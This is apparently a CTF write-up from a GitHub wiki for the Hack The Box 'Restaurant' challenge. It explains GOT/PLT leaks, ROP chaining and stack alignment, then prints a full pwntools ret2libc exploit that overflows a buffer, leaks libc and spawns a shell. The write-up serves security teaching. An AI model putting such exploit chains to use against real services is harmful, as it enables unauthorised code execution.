HTB Restaurant writeup - Pez1181/CTF GitHub Wiki

Exploit Writeup: Restaurant (HTB)

📦 Challenge Overview

  • Type: Binary Exploitation (ROP)
  • Vulnerability: No PIE, leak GOT address, ROP into libc
  • Protections: Full RELRO, NX enabled, no canary, no PIE
  • Bypass: Leak libc, calculate system(), stack alignment via ret gadget

🧠 Key Concepts for Beginners

GOT and PLT

  • GOT (Global Offset Table): Stores actual addresses of dynamically resolved functions like puts, system, etc. Initially filled by the dynamic linker.
  • PLT (Procedure Linkage Table): A fixed address entry point that jumps to the corresponding GOT entry.

So when we call puts(puts@GOT), we're effectively asking the program to leak the address of puts at runtime.

ROP (Return-Oriented Programming)

  • A technique where we reuse code sequences (gadgets) already present in the binary or loaded libraries.
  • Each gadget ends with a ret instruction, letting us chain one gadget after another by manipulating the stack.
  • In x86_64, function arguments are passed via registers:
    • 1st argument = RDI

To call a function like puts(addr), we need a gadget that does pop rdi; ret before it.

Stack Alignment

  • Recent versions of glibc (2.29+) require the stack to be 16-byte aligned when entering sensitive functions (like system).
  • If misaligned, libc can crash with SIGILL (Illegal Instruction) due to alignment expectations in the ABI.
  • We resolve this by inserting a ret gadget before calling such functions to realign the stack.

⚔️ Exploit Strategy

  1. Overflow buffer with 40 bytes to control RIP.
  2. Leak the runtime address of puts via a puts(puts@GOT) call.
  3. Return to fill() to allow another input after leaking.
  4. Calculate libc base using the leaked puts address.
  5. Call system("/bin/sh") using the calculated libc base.
  6. Add a ret gadget before calling system() to avoid alignment issues.

❌ Where We Went Wrong Initially

1. Parsing the Leaked Address Incorrectly

  • Early attempts misused recvline_startswith or relied on UI strings (e.g., "Enjoy your") to grab leaks. This worked inconsistently or captured the wrong bytes.
  • Fix: Use a clean recvuntil() and grab the exact line after the menu to safely unpack 6 bytes, padded to 8.

2. Forgetting Stack Alignment

  • Calling system() directly without a preceding ret caused silent failures or SIGILL crashes.
  • Fix: We added ret using rop.call(ret_gadget) before calling system() in the final payload.

3. Incorrect Address Calculations

  • Early scripts calculated system() by doing leaked_puts + offset, which only works if addresses are adjacent (they’re not).
  • Fix: Subtract libc.symbols['puts'] from the leak to get libc_base, then use actual symbol lookups relative to it.

4. Mixing Up context.binary

  • At one point we overwrote context.binary = libc, which broke offset lookups.
  • Fix: Define elf and libc separately and leave context.binary pointing to the main binary.

✅ Final Exploit Script (Local + Remote Toggle)

from pwn import *
import os

os.system('clear')

exe = './restaurant'
libc_path = './libc.so.6'
elf = context.binary = ELF(exe, checksec=False)
libc = ELF(libc_path, checksec=False)
context.log_level = 'debug'

# === Connection Toggle ===
# Toggle REMOTE manually:
REMOTE = False
HOST, PORT = '94.237.58.172', 52353

# === Start Process ===
if REMOTE:
    p = remote(HOST, PORT)  # Remote testing
else:
    p = process([exe])      # Local testing

# === ROP Setup ===
padding = b'A' * 40
rop = ROP(elf)

rop.call(elf.plt['puts'], [next(elf.search(b'\x00'))])  # Junk print (PLT call to align GOT leak)
rop.call(elf.plt['puts'], [elf.got['puts']])              # Leak puts@GOT
rop.call((rop.find_gadget(['ret']))[0])                  # Align the stack
rop.call(elf.sym['fill'])                                 # Re-enter menu

log.info(rop.dump())
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', padding + rop.chain())

# === Parse Leak ===
p.recvuntil(b'\n')  # Discard junk
p.recvuntil(b'\n')  # Discard junk
leaked_puts = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00'))
success(f'leaked puts() address: {hex(leaked_puts)}')

# === libc Base + Symbols ===
libc.address = leaked_puts - libc.sym['puts']
success(f'libc base: {hex(libc.address)}')

rop2 = ROP(libc)
rop2.call((rop.find_gadget(['ret']))[0])
rop2.call(libc.sym['system'], [next(libc.search(b'/bin/sh\x00'))])

log.info(rop2.dump())
p.sendlineafter(b'>', padding + rop2.chain())
p.interactive()

Final Thoughts

  • The ret gadget was the secret sauce. Without it, system() may crash due to alignment rules in newer glibc.
  • Always double check .got and .plt references — they make leaking addresses straightforward.
  • Using ROP() with call() helps avoid manual packing and keeps chains readable.
  • Stack alignment bugs are subtle but lethal. Remember: one ret keeps the libc gremlins away!

Mission complete. The stack has been served